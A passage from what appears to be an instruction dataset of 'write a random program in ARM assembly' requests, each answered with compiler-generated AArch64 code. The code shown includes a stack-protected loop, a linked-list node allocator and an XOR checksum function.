cset w0, eq
and w0, w0, 255
bl __VERIFIER_assert
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L8:
ldr w0, [sp, 28]
cmp w0, 124
ble .L9
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 536]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L11
bl __stack_chk_fail
.L11:
mov w0, w1
ldp x29, x30, [sp]
add sp, sp, 544
.cfi_restore 29
.cfi_restore 30
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global newNode
.type newNode, %function
newNode:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
mov x0, 24
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
str xzr, [x0]
ldr x0, [sp, 40]
ldr w1, [sp, 28]
str w1, [x0, 8]
ldr x0, [sp, 40]
str xzr, [x0, 16]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size newNode, .-newNode
.align 2
.global main
.type main, %function
main:
.LFB7:
.cfi_startproc
mov w0, 0
ret
.cfi_endproc
.LFE7:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global xor_32
.type xor_32, %function
xor_32:
.LFB0:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr w0, [sp, 12]
str w0, [sp, 44]
ldr x0, [sp, 16]
lsr x0, x0, 2
str x0, [sp, 56]
ldr x0, [sp, 24]
str x0, [sp, 64]
str wzr, [sp, 52]
b .L2
.L3:
ldrsw x0, [sp, 52]
lsl x0, x0, 2
ldr x1, [sp, 64]
add x0, x1, x0
ldr w0, [x0]
ldr w1, [sp, 44]
eor w0, w1, w0
str w0, [sp, 44]
ldr w0, [sp, 52]
add w0, w0, 4
str w0, [sp, 52]
.L2:
ldrsw x0, [sp, 52]
ldr x1, [sp, 56]
cmp x1, x0
bhi .L3
str wzr, [sp, 48]
ldr x0, [sp, 16]
lsr x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
str x0, [sp, 72]
ldr x0, [sp, 16]
and x0, x0, 3
cmp x0, 3
beq .L4
cmp x0, 3
bhi .L5
cmp x0, 1
beq .L6
cmp x0, 2
beq .L7
b .L5
.L4:
ldr x0, [sp, 72]
add x0, x0, 2
ldrb w0, [x0]
lsl w0, w0, 16
mov w1, w0
ldr w0, [sp, 48]
eor w0, w0, w1
str w0, [sp, 48]
.L7:
ldr x0, [sp, 72]
add x0, x0, 1
ldrb w0, [x0]
lsl w0, w0, 8
mov w1, w0
ldr w0, [sp, 48]
eor w0, w0, w1
str w0, [sp, 48]
.L6:
ldr x0, [sp, 72]
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 48]
eor w0, w0, w1
str w0, [sp, 48]
ldr w1, [sp, 44]
ldr w0, [sp, 48]
eor w0, w1, w0
str w0, [sp, 44]
.L5:
ldr w0, [sp, 44]
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size xor_32, .-xor_32
``` |